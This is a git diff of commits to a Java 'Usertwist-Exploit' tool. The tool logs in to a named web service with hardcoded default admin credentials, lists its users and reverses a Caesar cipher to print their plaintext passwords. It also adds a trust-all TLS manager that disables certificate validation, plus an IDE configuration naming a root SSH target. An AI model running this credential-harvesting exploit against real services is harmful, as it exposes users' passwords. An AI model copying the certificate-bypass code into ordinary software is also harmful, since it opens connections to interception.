8 Commits

8 changed files with 263 additions and 49 deletions

6
.idea/git_toolbox_blame.xml generated Normal file
View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="GitToolBoxBlameSettings">
<option name="version" value="2" />
</component>
</project>

15
.idea/git_toolbox_prj.xml generated Normal file
View File

@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="GitToolBoxProjectSettings">
<option name="commitMessageIssueKeyValidationOverride">
<BoolValueOverride>
<option name="enabled" value="true" />
</BoolValueOverride>
</option>
<option name="commitMessageValidationEnabledOverride">
<BoolValueOverride>
<option name="enabled" value="true" />
</BoolValueOverride>
</option>
</component>
</project>

View File

@@ -2,7 +2,7 @@
<profile version="1.0">
<option name="myName" value="Project Default" />
<inspection_tool class="AutoCloseableResource" enabled="true" level="WARNING" enabled_by_default="true">
<option name="METHOD_MATCHER_CONFIG" value="java.util.Formatter,format,java.io.Writer,append,com.google.common.base.Preconditions,checkNotNull,org.hibernate.Session,close,java.io.PrintWriter,printf,java.io.PrintStream,printf,java.net.http.HttpClient,newHttpClient" />
<option name="METHOD_MATCHER_CONFIG" value="java.util.Formatter,format,java.io.Writer,append,com.google.common.base.Preconditions,checkNotNull,org.hibernate.Session,close,java.io.PrintWriter,printf,java.io.PrintStream,printf,java.net.http.HttpClient,newHttpClient,java.net.http.HttpClient.Builder,build" />
</inspection_tool>
</profile>
</component>

19
.idea/remote-targets.xml generated Normal file
View File

@@ -0,0 +1,19 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="RemoteTargetsManager">
<targets>
<target name="root@kyosu.fr:22" type="ssh/sftp" uuid="cb79b708-e728-4225-8df7-941abd57c841">
<config>
<option name="projectRootOnTarget" value="/root/Usertwist-Exploit" />
<option name="serverName" value="root@kyosu.fr:22 password" />
</config>
<ContributedStateBase type="JavaLanguageRuntime">
<config>
<option name="homePath" value="/opt/jdk-21.0.1" />
<option name="javaVersionString" value="17.0.11" />
</config>
</ContributedStateBase>
</target>
</targets>
</component>
</project>

View File

@@ -1,26 +1,41 @@
package fr.motysten.usertwist.exploit;
import fr.motysten.usertwist.exploit.tools.Cesar;
import fr.motysten.usertwist.exploit.tools.Parser;
import fr.motysten.usertwist.exploit.tools.Request;
import org.json.JSONArray;
import org.json.JSONObject;
import javax.net.ssl.SSLException;
import javax.net.ssl.SSLHandshakeException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static String link = "https://poc.athelas.fr";
public static String username = "admin";
public static String password = "AdminSecret1C";
public static String port = "443";
public static int rotation = 4;
public static boolean asynchronous = true;
public static Request requestClient;
public static void main(String[] args) throws IOException, InterruptedException {
public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
requestClient = new Request(false);
if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
asynchronous = false;
}
System.out.println("Usertwist exploit by Motysten");
System.out.println("Please don't use for unethical purpose !\n");
String readLine;
@@ -29,6 +44,10 @@ public class Main {
readLine = reader.readLine();
if (!readLine.isEmpty()) {link = readLine;}
System.out.println("Please enter the port of the remote web server (leave empty to use default) :");
readLine = reader.readLine();
if (!readLine.isEmpty()) {port = readLine;}
System.out.println("Please enter the used username (leave empty to use default) :");
readLine = reader.readLine();
if (!readLine.isEmpty()) {username = readLine;}
@@ -37,7 +56,9 @@ public class Main {
readLine = reader.readLine();
if (!readLine.isEmpty()) {password = readLine;}
HttpClient client = HttpClient.newHttpClient();
System.out.println("Please enter the cesar offset (leave empty to use default) :");
readLine = reader.readLine();
if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);}
JSONObject requestJSON = new JSONObject();
requestJSON.put("username", username);
@@ -45,14 +66,47 @@ public class Main {
System.out.println("Gathering Bearer token...");
HttpRequest request = HttpRequest.newBuilder(URI.create(link + "/login"))
.POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
.build();
HttpResponse<String> response = null;
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
boolean tokenFound = false;
while (!tokenFound) {
try {
response = requestClient.get(link, port, "/login", requestJSON, null);
if (response.statusCode() == 308) {
System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
if (reader.readLine().equalsIgnoreCase("n")) {
System.err.println("Operation aborted ! Security failure.");
} else {
link = link.replaceFirst("http", "https");
port = "443";
}
} else {
tokenFound = true;
}
} catch (SSLHandshakeException e) {
System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network.");
System.err.println("Would you like to continue anyway ? [y/N]");
if (!reader.readLine().equalsIgnoreCase("y")) {
System.err.println("Operation aborted ! Security failure.");
System.exit(1);
} else {
requestClient = new Request(true);
}
} catch (SSLException e) {
if (e.getMessage().contains("plaintext connection?")) {
System.err.println("Looks like you're trying to send an HTTPS request on HTTP port. Would you like to switch on port 443 ? [Y/n]");
if (reader.readLine().equalsIgnoreCase("n")) {
System.err.println("Operation aborted !");
System.exit(1);
} else {
port = "443";
}
}
}
}
if (response.statusCode() == 401) {
System.err.println("Invalid credentials ! Pleas try again (defaults credentials could help)");
System.err.println("Invalid credentials ! Please try again (defaults credentials could help)");
System.exit(1);
}
@@ -67,24 +121,24 @@ public class Main {
System.out.println("\nScanning for existing users...");
request = HttpRequest.newBuilder(URI.create(link + "/references"))
.POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
.setHeader("Authorization", "Bearer " + token)
.build();
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + token);
response = client.send(request, HttpResponse.BodyHandlers.ofString());
response = requestClient.get(link, port, "/references", requestJSON, headers);
JSONArray usersArray = new JSONArray(response.body());
System.out.println(usersArray.length() + " users found !");
System.out.println("\nDecrypting passwords...\n");
for (int i = 0; i < usersArray.length(); i++) {
JSONObject user = usersArray.getJSONObject(i);
String login = user.getString("username");
String password = Cesar.cesarRotate(user.getString("data"), -4);
System.out.println((i + 1) + ". " + login + " => " + password);
float startTime = System.nanoTime();
if (asynchronous) {
Parser.asyncGetPass(usersArray, rotation);
} else {
Parser.getPass(usersArray, rotation);
}
float elapsedTime = (System.nanoTime() - startTime) / 1000000;
System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");
}
}

View File

@@ -1,34 +1,33 @@
package fr.motysten.usertwist.exploit.tools;
import java.util.stream.Collectors;
public class Cesar {
public static String cesarRotate(String input, int offset) {
public static String rotate(String input, int offset) {
char normalizeKey = (char) (offset % 26);
String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
if (offset < 0) {
LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString();
offset = -offset;
}
String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
StringBuilder output = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char newChar = input.charAt(i);
if (!Character.isDigit(input.charAt(i))) {
int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
int newPos = (pos + offset) % 26;
if (Character.isUpperCase(input.charAt(i))) {
newChar = UPPER_ALPHABET.charAt(newPos);
} else {
newChar = LOWER_ALPHABET.charAt(newPos);
}
}
output.append(newChar);
}
return output.toString();
return input.chars()
.mapToObj(c -> (char) c)
.map(c -> {
if (Character.isLetter(c)) {
char base;
if (Character.isUpperCase(c)) {
base = 'A';
} else {
base = 'a';
}
if (offset < 0) {
return (char) (base + (c - base + normalizeKey) % 26);
} else {
return (char) (base + (c - base - normalizeKey + 26) % 26);
}
} else {
return c;
}
})
.map(String::valueOf)
.collect(Collectors.joining());
}
}

View File

@@ -0,0 +1,37 @@
package fr.motysten.usertwist.exploit.tools;
import org.json.JSONArray;
import org.json.JSONObject;
public class Parser {
public static void getPass(JSONArray usersArray, int rotation) {
for (int i = 0; i < usersArray.length(); i++) {
JSONObject user = usersArray.getJSONObject(i);
String login = user.getString("username");
String password = Cesar.rotate(user.getString("data"), rotation);
System.out.println((i + 1) + ". " + login + " => " + password);
}
}
public static void asyncGetPass(JSONArray usersArray, int rotation) throws InterruptedException {
for (int i = 0; i < usersArray.length(); i++) {
int finalI = i;
Runnable r = () -> {
JSONObject user = usersArray.getJSONObject(finalI);
String login = user.getString("username");
String password = Cesar.rotate(user.getString("data"), rotation);
System.out.println((finalI + 1) + ". " + login + " => " + password);
};
Thread t = Thread.startVirtualThread(r);
t.join();
}
}
}

View File

@@ -0,0 +1,84 @@
package fr.motysten.usertwist.exploit.tools;
import org.json.JSONObject;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLEngine;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509ExtendedTrustManager;
import java.io.IOException;
import java.net.Socket;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.cert.X509Certificate;
import java.util.Map;
public class Request {
private final HttpClient client;
public Request(boolean insecure) throws NoSuchAlgorithmException, KeyManagementException {
HttpClient.Builder builder = HttpClient.newBuilder();
if (insecure) {
SSLContext customContext = SSLContext.getInstance("TLS");
customContext.init(null, new TrustManager[]{new X509ExtendedTrustManager() {
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
}
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
}
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) {
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}}, new SecureRandom());
builder.sslContext(customContext);
}
this.client = builder.build();
}
public HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers) throws IOException, InterruptedException {
HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
if (headers != null) {
for (Map.Entry<String, String> header : headers.entrySet()) {
builder.setHeader(header.getKey(), header.getValue());
}
}
builder.POST(HttpRequest.BodyPublishers.ofString(params.toString()));
HttpRequest request = builder.build();
return client.send(request, HttpResponse.BodyHandlers.ofString());
}
}